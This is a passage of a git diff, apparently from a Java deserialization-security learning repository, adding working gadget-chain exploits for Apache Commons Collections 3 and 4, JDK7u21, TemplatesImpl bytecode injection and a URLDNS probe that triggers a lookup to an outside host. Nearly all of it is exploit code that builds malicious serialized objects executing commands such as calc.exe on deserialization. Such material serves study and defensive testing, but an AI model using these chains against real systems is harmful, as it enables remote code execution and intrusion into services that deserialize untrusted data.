com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.TransformedMap; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.annotation.Retention; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollections3 { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{ + ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() + }); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[] { Templates.class }, + new Object[] { obj }) + }; + + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + + Map innerMap = new HashMap(); + innerMap.put("value", "xxxx"); + Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); + + Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); + construct.setAccessible(true); + InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); + + setFieldValue(transformerChain, "iTransformers", transformers); + // ================== + // 生成序列化字符串 + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(handler); + oos.close(); + + // 本地测试触发 + // System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object) ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections3For4.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections3For4.java new file mode 100644 index 0000000..487e451 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections3For4.java @@ -0,0 +1,73 @@ +package com.govuln.deserialization; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; +import org.apache.commons.collections4.map.TransformedMap; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.annotation.Retention; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollections3For4 { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{ + ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() + }); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[] { Templates.class }, + new Object[] { obj }) + }; + + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + + Map innerMap = new HashMap(); + innerMap.put("value", "xxxx"); + Map outerMap = TransformedMap.transformedMap(innerMap, null, transformerChain); + + Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); + construct.setAccessible(true); + InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); + + setFieldValue(transformerChain, "iTransformers", transformers); + // ================== + // 生成序列化字符串 + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(handler); + oos.close(); + + // 本地测试触发 + // System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object) ois.readObject(); + } +} diff --git a/deserialization/src/main/java/com/govuln/CommonsCollections6.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6.java similarity index 98% rename from deserialization/src/main/java/com/govuln/CommonsCollections6.java rename to jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6.java index bdd3d7f..c0e2a1f 100644 --- a/deserialization/src/main/java/com/govuln/CommonsCollections6.java +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6.java @@ -1,4 +1,4 @@ -package com.govuln; +package com.govuln.deserialization; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6For4.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6For4.java new file mode 100644 index 0000000..3511541 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6For4.java @@ -0,0 +1,61 @@ +package com.govuln.deserialization; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollections6For4 { + public static void main(String[] args) throws Exception { + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + new String[] { "calc.exe" }), + new ConstantTransformer(1), + }; + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + + // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap + Map innerMap = new HashMap(); + Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); + + TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); + + Map expMap = new HashMap(); + expMap.put(tme, "valuevalue"); + + outerMap.remove("keykey"); + + Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); + f.setAccessible(true); + f.set(transformerChain, transformers); + + // ================== + // 生成序列化字符串 + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(expMap); + oos.close(); + + // 本地测试触发 + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6Multiple.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6Multiple.java new file mode 100644 index 0000000..aaf2282 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6Multiple.java @@ -0,0 +1,66 @@ +package com.govuln.deserialization; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.*; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollections6Multiple { + public static void main(String[] args) throws Exception { + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + new String[] { "calc.exe" }), + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + new String[] { "notepad.exe" }), + new ConstantTransformer(1), + }; + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + + // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); + + Map expMap = new HashMap(); + expMap.put(tme, "valuevalue"); + + outerMap.remove("keykey"); + + Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); + f.setAccessible(true); + f.set(transformerChain, transformers); + + // ================== + // 生成序列化字符串 + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(expMap); + oos.close(); + + // 本地测试触发 + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro.java new file mode 100644 index 0000000..61c4ba4 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro.java @@ -0,0 +1,25 @@ +package com.govuln.deserialization; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.TransformedMap; + +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollectionsIntro { + public static void main(String[] args) throws Exception { + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(Runtime.getRuntime()), + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), + }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + Map innerMap = new HashMap(); + Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); + outerMap.put("test", "xxxx"); + } +} \ No newline at end of file diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro2.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro2.java new file mode 100644 index 0000000..1ed70dd --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro2.java @@ -0,0 +1,42 @@ +package com.govuln.deserialization; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.TransformedMap; +import org.apache.commons.collections.Transformer; + +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollectionsIntro2 { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + // source: bytecodes/HelloTemplateImpl.java + byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][] {code}); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(obj), + new InvokerTransformer("newTransformer", null, null) + }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + Map innerMap = new HashMap(); + Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); + outerMap.put("test", "xxxx"); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro3.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro3.java new file mode 100644 index 0000000..c7b8427 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro3.java @@ -0,0 +1,46 @@ +package com.govuln.deserialization; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.TransformedMap; +import org.apache.commons.collections.Transformer; + +import javax.xml.transform.Templates; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollectionsIntro3 { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + // source: bytecodes/HelloTemplateImpl.java + byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][] {code}); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[] { Templates.class }, + new Object[] { obj }) + }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + Map innerMap = new HashMap(); + Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); + outerMap.put("test", "xxxx"); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/JDK7u21.java b/jdk8/src/main/java/com/govuln/deserialization/JDK7u21.java new file mode 100644 index 0000000..a7824f5 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/JDK7u21.java @@ -0,0 +1,68 @@ +package com.govuln.deserialization; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import org.apache.commons.codec.binary.Base64; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedHashSet; +import java.util.Map; + +public class JDK7u21 { + public static void main(String[] args) throws Exception { + TemplatesImpl templates = new TemplatesImpl(); + setFieldValue(templates, "_bytecodes", new byte[][]{ + ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() + }); + setFieldValue(templates, "_name", "HelloTemplatesImpl"); + setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + String zeroHashCodeStr = "f5a5a608"; + + // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值 + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + // 实例化AnnotationInvocationHandler类 + Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); + handlerConstructor.setAccessible(true); + InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); + + // 为tempHandler创造一层代理 + Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler); + + // 实例化HashSet,并将两个对象放进去 + HashSet set = new LinkedHashSet(); + set.add(templates); + set.add(proxy); + + // 将恶意templates设置到map中 + map.put(zeroHashCodeStr, templates); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(set); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/TemplatesImplDeserialization.java b/jdk8/src/main/java/com/govuln/deserialization/TemplatesImplDeserialization.java new file mode 100644 index 0000000..c2ff080 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/TemplatesImplDeserialization.java @@ -0,0 +1,71 @@ +package com.govuln.deserialization; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections.map.TransformedMap; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.annotation.Retention; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +public class TemplatesImplDeserialization { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + // source: bytecodes/HelloTemplateImpl.java + byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{code}); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(obj), + new InvokerTransformer("newTransformer", null, null) + }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + Map innerMap = new HashMap(); + innerMap.put("value", "xxxx"); + Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); + + Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); + construct.setAccessible(true); + InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); + + // ================== + // 生成序列化字符串 + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(handler); + oos.close(); + + // 本地测试触发 + // System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object) ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/URLDNS.java b/jdk8/src/main/java/com/govuln/deserialization/URLDNS.java new file mode 100644 index 0000000..296614c --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/URLDNS.java @@ -0,0 +1,52 @@ +package com.govuln.deserialization; + +import java.io.*; +import java.lang.reflect.Field; +import java.net.InetAddress; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLStreamHandler; +import java.util.HashMap; + +public class URLDNS { + + static class SilentURLStreamHandler extends URLStreamHandler { + + protected URLConnection openConnection(URL u) throws IOException { + return null; + } + + protected synchronized InetAddress getHostAddress(URL u) { + return null; + } + } + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String []args) throws Exception { + String url = "http://dns.675ba661.y7z.xyz"; + + //Avoid DNS resolution during payload creation + //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. + URLStreamHandler handler = new SilentURLStreamHandler(); + + HashMap ht = new HashMap(); // HashMap that will contain the URL + URL u = new URL(null, url, handler); // URL to use as the Key + ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. + + setFieldValue(u, "hashCode", -1); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(ht); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/js/Eval.java b/jdk8/src/main/java/com/govuln/js/Eval.java new file mode 100644 index 0000000..6c11506 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/js/Eval.java @@ -0,0 +1,20 @@ +package com.govuln.js; + +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; +import java.io.FileReader; + +import jdk.nashorn.api.scripting.NashornException; +import jdk.nashorn.api.scripting.NashornScriptEngine; +import jdk.nashorn.api.scripting.NashornScriptEngineFactory; + +import java.io.InputStream; +import java.lang.Exception; + +public class Eval { + public static void main(String[] args) throws Exception { + ScriptEngineManager manager = new ScriptEngineManager(); + ScriptEngine engine = manager.getEngineByName("JavaScript"); + engine.eval(new FileReader("src/main/resources/eval.js")); + } +} diff --git a/jdk8/src/main/java/com/govuln/serialization/Converter.java b/jdk8/src/main/java/com/govuln/serialization/Converter.java new file mode 100644 index 0000000..d3b6ed4 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/serialization/Converter.java @@ -0,0 +1,39 @@ +package com.govuln.serialization; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import 